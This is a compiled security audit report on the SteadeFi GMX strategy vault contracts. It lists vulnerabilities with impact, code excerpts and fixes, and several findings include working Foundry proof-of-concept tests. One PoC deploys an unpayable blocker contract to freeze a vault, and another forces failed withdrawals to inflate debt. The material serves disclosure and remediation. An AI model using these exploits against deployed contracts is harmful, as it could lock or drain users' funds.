GMXVault can be blocked by a malicious actorafterWithdrawChecks applies only if user wants to withdraw in tokenA/BmintFee was called long agoemergencyPause does not check the state before running && can cause loss of funds for usersemergencyClose() may fail to repay any debtKeys.MAX_CALLBACK_GAS_LIMIT to smaller than 2 millionswithdraw_failed status if the deposit to GMX get Cancelledcompound_failed statusdeposit_failed status .equity = 0svTokenValue function can return overestimated value of each strategy vault share tokenGMXOracle::_getTokenPriceMinMaxFormattedconvertToUsdValue calculation on tokens that have more than 18 decimal placesminAnswerprocessDeposit() can cause a DoS if equityAfter is 0 and equityBefore > 0.getLpTokenAmount icorrectly assumes that the returned price is in 18 decimal places. But it is 30 decimal places.GMXEmergency:emergencyWithdraw to revert if the withdrawn amount is 0Submitted by rvierdiiev, NeverGonnaGiveYulUp. Selected submission by: rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWorker.sol#L94
Attacker can block GMXVault by setting registering himself as ui fee receiver on GMX and causing slippage check to always revert, when processDepositFailure is called.
In case if deposit has decided to be failed, that means that processDepositFailure function will be called by keeper in order to withdraw already deposited LP tokens and send received tokens to the depositor.
processDepositFailure function calculates amount of tokenA and tokenB that it can get in exchange of LP tokens and also consider slippage. So in case if smaller amount will be received when GMX will do swap, then GMX withdrawal will revert. In order to send request to GMX removeLiquidity function is called, which will eventually call GMXWorker.removeLiquidity. This function sets self.refundee as uiFeeReceiver to the GMX withdraw request. In this case, self.refundee will be previous depositor, as this value is not changed by processDepositFailure function.
Now let's check what is uiFeeReceiver on GMX. This is actually entity that will receive percentage of your swaps on GMX. For withdrawing it will receive fee for both long and short tokens. Amount of fee depends on what ui fee receiver has provided to himself.
So attacker can register himself as ui fee recipient and set his percentage high enough, so when processDepositFailure is called on his deposit, then created withdrawal request will always revert with slippage error. As result system will stuck in Deposit_Failed status and will not be able work normally and emergency operations will be needed.
GMXVault will be blocked.
VsCode
You don't need to use uiFeeReceiver at all. Set it as 0 for both deposits and withdraws.
Submitted by TheSchnilch, ElHaj, Cosine, NeverGonnaGiveYulUp, hash. Selected submission by: TheSchnilch.
If a withdrawal from GMX is successful without any errors, the borrowed amount is repayed to the lending vaults within a try-catch block within the processWithdraw function. Subsequently, the afterWithdrawChecks are performed. If a revert occurs during this step, everything executed within the try-catch block is reseted, and the Vault's status is set to 'Withdraw_Failed.' In such a scenario, a Keeper must call the processWithdrawFailure function. In this case, there is an erroneous attempt to borrow from the LendingVaults again, even though the repayment never actually occurred due to the revert within the try-catch block.
Here is a POC that demonstrates how a user can exploit this bug by intentionally causing the afterWithdrawChecks to fail, resulting in additional borrowing from the LendingVault in the processWithdrawFailure function.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC1() public {
//Owner deposits 1 ether in vault
vm.startPrank(owner);
_createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//User1 deposits 1 ether in vault
vm.startPrank(user1);
_createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//Variables for assertion
uint256 leverageBefore = vault.leverage();
(,uint256 debtAmtTokenBBefore) = vault.debtAmt();
uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1); //Vault shares to withdraw
GMXTypes.Store memory _store;
for(uint256 i; i < 5; i++) {
vm.startPrank(user1);
//User1 tries to withdraw all of his deposits and enters an unrealistically high amount as the minWithdrawAmt (10000 ether) to intentionally make the afterWithdrawChecks fail
_createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 10000 ether, SLIPPAGE, EXECUTION_FEE);
_store = vault.store();
assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw_Failed)); //Since the afterWithdrawChecks have failed, the Vault status is Withdraw_Failed
//Keeper calls processWithdrawFailure to deposit the withdrawn tokens back into GMX, mistakenly borrowing something from the LendingVaults in the process.
vault.processWithdrawFailure{value: EXECUTION_FEE}(SLIPPAGE, EXECUTION_FEE);
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
vm.stopPrank();
} //The for-loop is there to demonstrate that a user can easily execute the process multiple times to increase
//the debt and leverage. (The user can do it as long as the Lending Vaults have liquidity.)
//Variables for assertion
uint256 leverageAfter = vault.leverage();
(,uint256 debtAmtTokenBAfter) = vault.debtAmt();
//Shows that after the failed withdrawal process, debt and leverage are higher. (Token A is irrelevant as Delta is Long)
assert(debtAmtTokenBAfter > debtAmtTokenBBefore);
assert(leverageAfter > leverageBefore);
console.log("DebtAmtBefore: %s", debtAmtTokenBBefore);
console.log("DebtAmtAfter: %s", debtAmtTokenBAfter);
console.log("leverageBefore: %s", leverageBefore);
console.log("leverageAfter: %s", leverageAfter);
}
}
The PoC can be started with this command: forge test --match-test test_POC1 -vv
Users can intentionally deplete the capacity of a lending vault to increase the leverage of a vault. This also results in lending vaults having no capacity left for new deposits. As a result, the utilization rate increases significantly, leading to higher borrowing costs.
VSCode, Foundry
In processWithdrawFailure, no more borrowing should occur:
File: contracts/strategy/gmx/GMXWithdraw.sol#processWithdrawFailure
239: GMXManager.borrow(
240: self,
241: self.withdrawCache.repayParams.repayTokenAAmt,
242: self.withdrawCache.repayParams.repayTokenBAmt
243: );
These lines of code should be deleted
GMXVault can be blocked by a malicious actorSubmitted by asimaranov, 0xhals, Peter, rvierdiiev, Auditism, ElHaj, TheSchnilch, 0xSwahili, 0xCiphky, hash, 0xAsen, Rozzo, NeverGonnaGiveYulUp, FundsSafu, pontifex. Selected submission by: 0xhals.
GMXVault can be blocked by malicious actor if he made a depositNative call with unpayable contract and the deposit then cancelled by the GMX exchange router (3rd party).
Users can deposit native tokens in vaults that either of its token pair is a WNT (wrapped native token) by calling GMXVault.depositNative payable function with the required deposit parameters (such as token, amount, minimum share amount, slippage & execution fees), then this function will invoke GMXDeposit.deposit with a msg.value equals the amount that the user wants to deposit + execution fees.
In GMXDeposit.deposit: various checks are made to ensure the sanity of the deposit parameters and the elligibility of the user to deposit, and to calculate the required tokenA & tokenB needed to deposit in the GMX protocol, then the sent native tokens are deposited in the WNT contract and an equivalent amount of WNT is transferred to the vault.
And before the call is made to the GMXManager.addLiquidity (where a call is going to be made to the GMX.exchangeRouter contract) to add liquidity; the status of the vault is checked if it's Open, if yes; then the status of the vault is set to Deposit so that no more deposits or withdrawls can be made (the vault will be blocked until the operation succeeds).
So if the operation succeeds in the GMX exchange router; the vault callback will invoke preocessDeposit function to finish the process and update the vault status to Open.
And if the operation of adding liquidity is cancelled by the GMX exchange router (3rd party); the vault callback will invoke processDepositCancellation function to rollback the process by repaying the lendingVaults debts and paying back the native tokens sent by the user, then update the vault status to Openso that the vault is open again for deposits and withdrawals.
Usually the deposit (liquidity addition to GMX protocol) fails if the user sets a very high slippage parameter when making a deposit (dp.slippage).
How can this be exploited to block the vault? Imagine the following scenario:
If a malicious user deploys an unpayable contract (doesn't receive native tokens) and makes a call to the GMXVault.depositNative function with a very high slippage to ensure that the deposit will be cancelled by the GMX exchange router.
So when the deposit is cancelled and the vault callback processDepositCancellation function is invoked by the router; it will revert as it will try to send back the native tokens to the user who tried to make the deposit (which is the unpayable contract in our case).
And the status of the vault will be stuck in the Deposit state; so no more deposits or withdrawals can be made and the vault will be disabled.
The vault will be blocked as it will be stuck in the Deposit state; so no more deposits or withdrawals can be made.
function depositNative(GMXTypes.DepositParams memory dp) external payable nonReentrant {
GMXDeposit.deposit(_store, dp, true);
}
_dc.user = payable(msg.sender);
GMXDeposit.processDepositCancellation /L209-210
(bool success, ) = self.depositCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
A BlockerContract.sol is added to mimick the behaviour of an unpayable contract.
add the following contract to the 2023-10-SteadeFi/test/gmx/local/BlockerContract.sol directory:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import {GMXTypes} from "../../../contracts/strategy/gmx/GMXTypes.sol";
import {GMXVault} from "../../../contracts/strategy/gmx/GMXVault.sol";
contract BlockerContract {
constructor() payable {}
function callVault(
address payable _vaultAddress,
GMXTypes.DepositParams memory dp
) external {
GMXVault targetVault = GMXVault(_vaultAddress);
targetVault.depositNative{value: address(this).balance}(dp);
}
}
test_processDepositCancelWillBlockVault test is added to to the 2023-10-SteadeFi/test/gmx/local/GMXDepositTest.sol directory; where the blockerContract is deployed with some native tokens to cover deposit amount + execution fees, then this contract calls the depositNative via BlockerContract.callVault, where the exchange router tries to cancel the deposit but it will not be able as the BlockerContract can't receive back deposited native tokens, and the vault will be blocked.
add this import statement and test to the GMXDepositTest.sol file :
import {BlockerContract} from "./BlockerContract.sol";
function test_processDepositCancelWillBlockVault() external {
//1. deploy the blockerContract contract with a msg.value=deposit amount + execution fees:
uint256 depositAmount = 1 ether;
BlockerContract blockerContract = new BlockerContract{
value: depositAmount + EXECUTION_FEE
}();
//check balance before deposit:
uint256 blockerContractEthBalance = address(blockerContract).balance;
assertEq(depositAmount + EXECUTION_FEE, blockerContractEthBalance);
//2. preparing deposit params to call "depositNative" via the blockerContract:
depositParams.token = address(WETH);
depositParams.amt = depositAmount;
depositParams.minSharesAmt = 0;
depositParams.slippage = SLIPPAGE;
depositParams.executionFee = EXECUTION_FEE;
blockerContract.callVault(payable(address(vault)), depositParams);
// vault status is "Deposit":
assertEq(uint256(vault.store().status), 1);
//3. the blockerContract tries to cancel the deposit, but it will not be able to do beacuse it's unpayable contract:
vm.expectRevert();
mockExchangeRouter.cancelDeposit(
address(WETH),
address(USDC),
address(vault),
address(callback)
);
// vault status will be stuck at "Deposit":
assertEq(uint256(vault.store().status), 1);
// check balance after cancelling the deposit, where it will be less than the original as no refund has been paid (the blockerContract is unpayable):
assertLt(address(blockerContract).balance, blockerContractEthBalance);
}
Test result:
$ forge test --mt test_processDepositCancelWillBlockVault
Running 1 test for test/gmx/local/GMXDepositTest.sol:GMXDepositTest
[PASS] test_processDepositCancelWillBlockVault() (gas: 1419036)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.62ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual Review & Foundry.
Add a mechanism to enable the user from redeeming his cancelled deposits (pulling) instead of sending it back to him (pushing).
Submitted by rvierdiiev, Drynooo, 0xCiphky. Selected submission by: 0xCiphky.
The Strategy Vaults within the protocol use a two-step process for handling deposits/withdrawals via GMXv2. A createDeposit() transaction is followed by a callback function (afterDepositExecution() or afterDepositCancellation()) based on the transaction's success. In the event of a failed deposit due to vault health checks, the execution fee refund is mistakenly sent to the depositor instead of the keeper who triggers the deposit failure process.
The protocol handles the deposit through the deposit function, which uses several parameters including an execution fee that refunds any excess fees.
function deposit(GMXTypes.DepositParams memory dp) external payable nonReentrant {
GMXDeposit.deposit(_store, dp, false);
}
struct DepositParams {
// Address of token depositing; can be tokenA, tokenB or lpToken
address token;
// Amount of token to deposit in token decimals
uint256 amt;
// Minimum amount of shares to receive in 1e18
uint256 minSharesAmt;
// Slippage tolerance for adding liquidity; e.g. 3 = 0.03%
uint256 slippage;
// Execution fee sent to GMX for adding liquidity
uint256 executionFee;
}
The refund is intended for the message sender (msg.sender), which in the initial deposit case, is the depositor. This is established in the GMXDeposit.deposit function, where self.refundee is assigned to msg.sender.
function deposit(GMXTypes.Store storage self, GMXTypes.DepositParams memory dp, bool isNative) external {
// Sweep any tokenA/B in vault to the temporary trove for future compouding and to prevent
// it from being considered as part of depositor's assets
if (self.tokenA.balanceOf(address(this)) > 0) {
self.tokenA.safeTransfer(self.trove, self.tokenA.balanceOf(address(this)));
}
if (self.tokenB.balanceOf(address(this)) > 0) {
self.tokenB.safeTransfer(self.trove, self.tokenB.balanceOf(address(this)));
}
self.refundee = payable(msg.sender);
...
_dc.depositKey = GMXManager.addLiquidity(self, _alp);
self.depositCache = _dc;
emit DepositCreated(_dc.user, _dc.depositParams.token, _dc.depositParams.amt);
}
If the deposit passes the GMX checks, the afterDepositExecution callback is triggered, leading to vault.processDeposit() to check the vault's health. A failure here updates the status to GMXTypes.Status.Deposit_Failed. The reversal process is then handled by the processDepositFailure function, which can only be called by keepers. They pay for the transaction's gas costs, including the execution fee.
function processDepositFailure(uint256 slippage, uint256 executionFee) external payable onlyKeeper {
GMXDeposit.processDepositFailure(_store, slippage, executionFee);
}
In GMXDeposit.processDepositFailure, self.refundee is not updated, resulting in any excess execution fees being incorrectly sent to the initial depositor, although the keeper paid for it.
function processDepositFailure(GMXTypes.Store storage self, uint256 slippage, uint256 executionFee) external {
GMXChecks.beforeProcessAfterDepositFailureChecks(self);
GMXTypes.RemoveLiquidityParams memory _rlp;
// If current LP amount is somehow less or equal to amount before, we do not remove any liquidity
if (GMXReader.lpAmt(self) <= self.depositCache.healthParams.lpAmtBefore) {
processDepositFailureLiquidityWithdrawal(self);
} else {
// Remove only the newly added LP amount
_rlp.lpAmt = GMXReader.lpAmt(self) - self.depositCache.healthParams.lpAmtBefore;
// If delta strategy is Long, remove all in tokenB to make it more
// efficent to repay tokenB debt as Long strategy only borrows tokenB
if (self.delta == GMXTypes.Delta.Long) {
address[] memory _tokenASwapPath = new address[](1);
_tokenASwapPath[0] = address(self.lpToken);
_rlp.tokenASwapPath = _tokenASwapPath;
(_rlp.minTokenAAmt, _rlp.minTokenBAmt) = GMXManager.calcMinTokensSlippageAmt(
self, _rlp.lpAmt, address(self.tokenB), address(self.tokenB), slippage
);
} else {
(_rlp.minTokenAAmt, _rlp.minTokenBAmt) = GMXManager.calcMinTokensSlippageAmt(
self, _rlp.lpAmt, address(self.tokenA), address(self.tokenB), slippage
);
}
_rlp.executionFee = executionFee;
// Remove liqudity
self.depositCache.withdrawKey = GMXManager.removeLiquidity(self, _rlp);
}
The same issue occurs in the processWithdrawFailure function where the excess fees will be sent to the initial user who called withdraw instead of the keeper.
This flaw causes a loss of funds for the keepers, negatively impacting the vaults. Users also inadvertently receive extra fees that are rightfully owed to the keepers
manual analysis
The processDepositFailure and processWithdrawFailure functions must be modified to update self.refundee to the current executor of the function, which, in the case of deposit or withdraw failure, is the keeper.
function processDepositFailure(GMXTypes.Store storage self, uint256 slippage, uint256 executionFee) external {
GMXChecks.beforeProcessAfterDepositFailureChecks(self);
GMXTypes.RemoveLiquidityParams memory _rlp;
self.refundee = payable(msg.sender);
...
}
function processWithdrawFailure(
GMXTypes.Store storage self,
uint256 slippage,
uint256 executionFee
) external {
GMXChecks.beforeProcessAfterWithdrawFailureChecks(self);
self.refundee = payable(msg.sender);
...
}
Submitted by rvierdiiev, Drynooo, hash. Selected submission by: rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWithdraw.sol#L67-L69
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWithdraw.sol#L101
Because mintFee is called later then user's supply ratio calculation, then this ratio is bigger than in reality and user receives more funds.
When user calls withdraw, then he provides shareAmt, which is amount of GMXVault shares to withdraw.
Then function calculates user's supply ratio as shareAmt / totalSupply. Then according to that ratio it's possible to understand how many GMX lpAmt should be withdrawn for user.
Later this function will do one more thing: it will mint fee for protocol. This function will increase totalSupply. Protocol accrues fee for each second and in order to get correct amount you should use not totalSupply, but totalSupply + GMXReader.pendingFee.
As result, totalSupply is less than in reality and user receives bigger ration and withdraws more assets.
Exactly same problem has GMXEmergency.emergencyWithdraw function. And overall, incorrect totalSupply function can create integration issues for other protocols.
User withdraws more than should.
VsCode
Do minting before calculation of supply ratio. Or better override totalSupply function to return supply with pending fees.
Submitted by ElHaj, TheSchnilch. Selected submission by: TheSchnilch.
When a user wants to withdraw his tokens after depositing, the LP tokens are first sent to GMX. GMX then sends back the deposited tokens. Before the user receives them, their Vault Shares are burned in processWithdraw:
File: GMXWithdraw.sol#processWithdraw
197: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
A user could, after the LP tokens have been transferred to GMX and the Vault is waiting for the callback, transfer his Vault Shares away from his address. This would result in not having enough tokens left during the burn, causing a revert. Afterward, the Vault would be stuck in the 'Withdraw' state because, although the keeper could call the function again, it would result in revert again.
Here is a POC that demonstrates how a user can cause the processWithdraw to revert:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
import { Attacker } from "./Attacker.sol";
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC4() public {
//owner deposits
vm.startPrank(address(owner));
_createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
//user1 deposits
vm.startPrank(address(user1));
_createAndExecuteDeposit(address(WETH), address(USDC), address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
uint256 vaultSharesAmt = IERC20(address(vault)).balanceOf(address(user1)); //Vault Shares from user1 to withdraw
vm.startPrank(address(user1));
_createWithdrawal(address(USDC), vaultSharesAmt, 0, SLIPPAGE, EXECUTION_FEE); //User 1 creates a withdrawal
IERC20(address(vault)).transfer(address(user2), vaultSharesAmt); //Before processWithdraw is executed and the user's Vault Shares are burned, he sends them away
vm.expectRevert(
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(user1), 0, vaultSharesAmt)
);
mockExchangeRouter.executeWithdrawal(address(WETH), address(USDC), address(vault), address(callback)); //executeWithdraw reverted as there are no tokens to burn
vm.stopPrank();
GMXTypes.Store memory _store = vault.store();
assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw)); //shows that the vault is still in the Withdraw status
}
}
The POC can be started with this command: forge test --match-test test_POC4 -vv
A user could put the Vault into a 'Stuck' state that can only be exited through 'emergencyPause' and 'emergencyResume.' This would take some time as 'emergencyResume' can only be called by the owner, who is a Multisig with a Timelock. (A keeper could also call 'processWithdrawCancellation,' but in this case, the debt to the lending vault would not be repaid. The tokens withdrawn by GMX would simply remain in the vault, and the user's Vault Shares would not be burned.)
VSCode, Foundry
Tokens should be burned immediately after remove liquidity is called in GMXWithdraw.sol:
+ 154: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
- 197: self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
Submitted by ElHaj, hash, 0xhacksmithh. Selected submission by: hash.
The slippage on deposits is enforced by the minMarketTokenAmt parameter. But in the calculation of minMarketTokenAmt, the slippage is factored on the user's deposit value and not the leveraged amount which is actually being deposited to GMX.
function deposit(
GMXTypes.Store storage self,
GMXTypes.DepositParams memory dp,
bool isNative
) external {
....... more code
if (dp.token == address(self.lpToken)) {
// If LP token deposited
_dc.depositValue = self.gmxOracle.getLpTokenValue(
address(self.lpToken),
address(self.tokenA),
address(self.tokenA),
address(self.tokenB),
false,
false
)
* dp.amt
/ SAFE_MULTIPLIER;
} else {
// If tokenA or tokenB deposited
_dc.depositValue = GMXReader.convertToUsdValue(
self,
address(dp.token),
dp.amt
);
}
....... more code
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
_alp.minMarketTokenAmt = GMXManager.calcMinMarketSlippageAmt(
self,
_dc.depositValue,
dp.slippage
);
_alp.executionFee = dp.executionFee;
_dc.depositKey = GMXManager.addLiquidity(
self,
_alp
);
But vaults with leverage greater than 1 will be adding more than _dc.depositValue worth of liquidity in which case the calculated minMarketTokenAmt will result in a much higher slippage.
minMarketTokenAmt calculated is worth 0.99 usdDepositors can loose value
Use the actual deposit value instead of the user's initial deposit value when calculating the minMarketTokenAmt
diff --git a/contracts/strategy/gmx/GMXDeposit.sol b/contracts/strategy/gmx/GMXDeposit.sol
index 1b28c3b..aeba68b 100644
--- a/contracts/strategy/gmx/GMXDeposit.sol
+++ b/contracts/strategy/gmx/GMXDeposit.sol
@@ -135,7 +135,15 @@ library GMXDeposit {
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
_alp.minMarketTokenAmt = GMXManager.calcMinMarketSlippageAmt(
self,
- _dc.depositValue,
+ GMXReader.convertToUsdValue(
+ self,
+ address(self.tokenA),
+ _alp.tokenAAmt
+ ) + GMXReader.convertToUsdValue(
+ self,
+ address(self.tokenB),
+ _alp.tokenBAmt
+ ),
dp.slippage
);
_alp.executionFee = dp.executionFee;
Submitted by Cosine, pontifex. Selected submission by: Cosine.
The funds in the trove contract are not claimed during the emergency close flow and can not be claimed in a normal way during this situation, because of a status change. Therefore, all the acquired yield will be lost.
When users deposit, or withdraw tokens, all acquired yield from GMX is sent to the trove contract:
function deposit(
GMXTypes.Store storage self,
GMXTypes.DepositParams memory dp,
bool isNative
) external {
// Sweep any tokenA/B in vault to the temporary trove for future compouding and to prevent
// it from being considered as part of depositor's assets
if (self.tokenA.balanceOf(address(this)) > 0) {
self.tokenA.safeTransfer(self.trove, self.tokenA.balanceOf(address(this)));
}
if (self.tokenB.balanceOf(address(this)) > 0) {
self.tokenB.safeTransfer(self.trove, self.tokenB.balanceOf(address(this)));
}
...
}
function withdraw(
GMXTypes.Store storage self,
GMXTypes.WithdrawParams memory wp
) external {
// Sweep any tokenA/B in vault to the temporary trove for future compouding and to prevent
// it from being considered as part of withdrawers assets
if (self.tokenA.balanceOf(address(this)) > 0) {
self.tokenA.safeTransfer(self.trove, self.tokenA.balanceOf(address(this)));
}
if (self.tokenB.balanceOf(address(this)) > 0) {
self.tokenB.safeTransfer(self.trove, self.tokenB.balanceOf(address(this)));
}
...
}
The only way in the system to claim these yield is the compound function, which calls the beforeCompoundChecks function:
function compound(
GMXTypes.Store storage self,
GMXTypes.CompoundParams memory cp
) external {
// Transfer any tokenA/B from trove to vault
if (self.tokenA.balanceOf(address(self.trove)) > 0) {
self.tokenA.safeTransferFrom(
address(self.trove),
address(this),
self.tokenA.balanceOf(address(self.trove))
);
}
if (self.tokenB.balanceOf(address(self.trove)) > 0) {
self.tokenB.safeTransferFrom(
address(self.trove),
address(this),
self.tokenB.balanceOf(address(self.trove))
);
}
...
GMXChecks.beforeCompoundChecks(self);
...
}
This function reverts if the current status of the system is not Open or Compound_Failed:
function beforeCompoundChecks(
GMXTypes.Store storage self
) external view {
if (
self.status != GMXTypes.Status.Open &&
self.status != GMXTypes.Status.Compound_Failed
) revert Errors.NotAllowedInCurrentVaultStatus();
...
}
As the emergency close flow updates this status to Paused and later to Closed, calling compound will revert:
function emergencyPause(
GMXTypes.Store storage self
) external {
self.refundee = payable(msg.sender);
GMXTypes.RemoveLiquidityParams memory _rlp;
// Remove all of the vault's LP tokens
_rlp.lpAmt = self.lpToken.balanceOf(address(this));
_rlp.executionFee = msg.value;
GMXManager.removeLiquidity(
self,
_rlp
);
self.status = GMXTypes.Status.Paused;
emit EmergencyPause();
}
function emergencyClose(
GMXTypes.Store storage self,
uint256 deadline
) external {
GMXChecks.beforeEmergencyCloseChecks(self);
// Repay all borrowed assets; 1e18 == 100% shareRatio to repay
GMXTypes.RepayParams memory _rp;
(
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
) = GMXManager.calcRepay(self, 1e18);
(
bool _swapNeeded,
address _tokenFrom,
address _tokenTo,
uint256 _tokenToAmt
) = GMXManager.calcSwapForRepay(self, _rp);
if (_swapNeeded) {
ISwap.SwapParams memory _sp;
_sp.tokenIn = _tokenFrom;
_sp.tokenOut = _tokenTo;
_sp.amountIn = IERC20(_tokenFrom).balanceOf(address(this));
_sp.amountOut = _tokenToAmt;
_sp.slippage = self.minSlippage;
_sp.deadline = deadline;
GMXManager.swapTokensForExactTokens(self, _sp);
}
GMXManager.repay(
self,
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
);
self.status = GMXTypes.Status.Closed;
emit EmergencyClose(
_rp.repayTokenAAmt,
_rp.repayTokenBAmt
);
}
And as we can see during these process the funds inside the trove contract are never claimed and as the strategy vault is the only address that can claim the funds of the trove, all funds are gone.
contract GMXTrove {
/* ==================== STATE VARIABLES ==================== */
// Address of the vault this trove handler is for
IGMXVault public vault;
/* ====================== CONSTRUCTOR ====================== */
/**
* @notice Initialize trove contract with associated vault address
* @param _vault Address of vault
*/
constructor (address _vault) {
vault = IGMXVault(_vault);
GMXTypes.Store memory _store = vault.store();
// Set token approvals for this trove's vault contract
_store.tokenA.approve(address(vault), type(uint256).max);
_store.tokenB.approve(address(vault), type(uint256).max);
}
}
If a strategy vault is closed, all funds in the trove are lost.
Manual Review
Transfer the funds inside the trove into the vault during the emergency close process.
afterWithdrawChecks applies only if user wants to withdraw in tokenA/BSubmitted by Drynooo, pontifex. Selected submission by: pontifex.
The afterWithdrawChecks check is very important to be sure that important health parameters are in the proper ranges. But the check is inside brackets of the if user wants to withdraw in tokenA/B statement. So if the user wants to withdraw LP-token the check is not provided. This can cause unexpected financial losses.
The afterWithdrawChecks check is placed inside the brackets of the if-statement of the GMXProcessWithdraw.processWithdraw function. This statement checks if user wants to withdraw in tokenA/B. In other cases the afterWithdrawChecks check is not provided but should.
69 // Else if user wants to withdraw in LP token, the tokensToUser is already previously
70 // set in GMXWithdraw.withdraw()
71 if (
72 self.withdrawCache.withdrawParams.token == address(self.tokenA) ||
73 self.withdrawCache.withdrawParams.token == address(self.tokenB)
74 ) {
104 GMXChecks.afterWithdrawChecks(self);
105 }
106 }
The issue can cause unexpected financial losses.
Manual Review
I suppose that the check should be placed after the if statement brackets.
mintFee was called long agoSubmitted by pontifex.
The amount of LP-tokens to withdraw is calculated at the GMXWithdraw.withdraw before the mintFee function is called. The mintFee function increases the totalSupply amount. This way users receive more tokens than should be at the current timestamp. The longer the period since the last mintFee was called the more excess tokens the user receives.
The protocol mints vault token shares as management fees to protocol treasury with the mintFee function. This increases the totalSupply of the shares. The amount of minted fees depends on the time since the last mintFee call.
function mintFee() public {
_mint(_store.treasury, GMXReader.pendingFee(_store));
_store.lastFeeCollected = block.timestamp;
}
While withdrawal amount of LP-token can be calculated with outdated totalSupply:
67 _wc.shareRatio = wp.shareAmt
68 * SAFE_MULTIPLIER
69 / IERC20(address(self.vault)).totalSupply();
70 _wc.lpAmt = _wc.shareRatio
71 * GMXReader.lpAmt(self)
72 / SAFE_MULTIPLIER;
101 self.vault.mintFee();
The mintFee is called only after this calculation.
Users can receive excess amounts of tokens during withdrawal. Other users and the protocol management lose value of their shares.
Manual Review
Consider calling the mintFee before the _wc.shareRatio calculation.
Submitted by rvierdiiev, NeverGonnaGiveYulUp, 0xanmol, pontifex, hash. Selected submission by: 0xanmol.
Unnecessary fees will be minted to the treasury if the vault is paused and reopened later.
Based on the test results, the protocol mints 5(this can be more) wei(gvToken) for each gvToken every second since the last fee collection. For example, if the totalSupply of gvToken is 1000000e18 and the time difference between the current block and the last fee collection is 10 seconds, the amount of lp tokens minted as a fee will be 50000000 wei in terms of gvToken. This is acceptable when the protocol is functioning properly.
function pendingFee(GMXTypes.Store storage self) public view returns (uint256) {
uint256 totalSupply_ = IERC20(address(self.vault)).totalSupply();
uint256 _secondsFromLastCollection = block.timestamp - self.lastFeeCollected;
return (totalSupply_ * self.feePerSecond * _secondsFromLastCollection) / SAFE_MULTIPLIER;
}
However, if the protocol needs to be paused due to a hack or other issues, and then the vault is reopened, let's say after 1 month of being paused, the time difference from block.timestamp - _secondsFromLastCollection will be = 2630000s
If the first user tries to deposit after the vault reopens, the fees charged will be 1000000e18 * 5 * 2630000 / 1e18 = 1315000000000
This is an unnecessary fee generated for the treasury because the vault was paused for a long time, but the fee is still generated without taking that into account. This can result in the treasury consuming a portion of the user shares.
This will lead to a loss of user shares for the duration when the vault was not active. The severity of the impact depends on the fee the protocol charges per second, the totalSupply of vault tokens, and the duration of the vault being paused.
manual review
If the vault is being reopened, there should be a function to override the _store.lastFeeCollected = block.timestamp; with block.timestamp again.
emergencyPause does not check the state before running && can cause loss of funds for usersSubmitted by Citris, Auditism, nmirchev8, Cosine, Drynooo, 0xCiphky, SupaRoutis, NeverGonnaGiveYulUp. Selected submission by: SupaRoutis.
The emergencyPause function in the GMX smart contract can be called by the keeper at any time without pre-transaction checks. In some cases this could result in financial loss for users if the function is executed before the callbacks have executed.
The emergencyPause function lacks a control mechanism to prevent execution before callbacks execution. While it is designed to halt all contract activities in an emergency, its unrestricted execution could disrupt ongoing transactions. For example, if a user calls a function like deposit which involves multiple steps and expects a callback, and emergencyPause is invoked before the callback is executed, the user might lose his funds as he will not be able to mint svTokens.
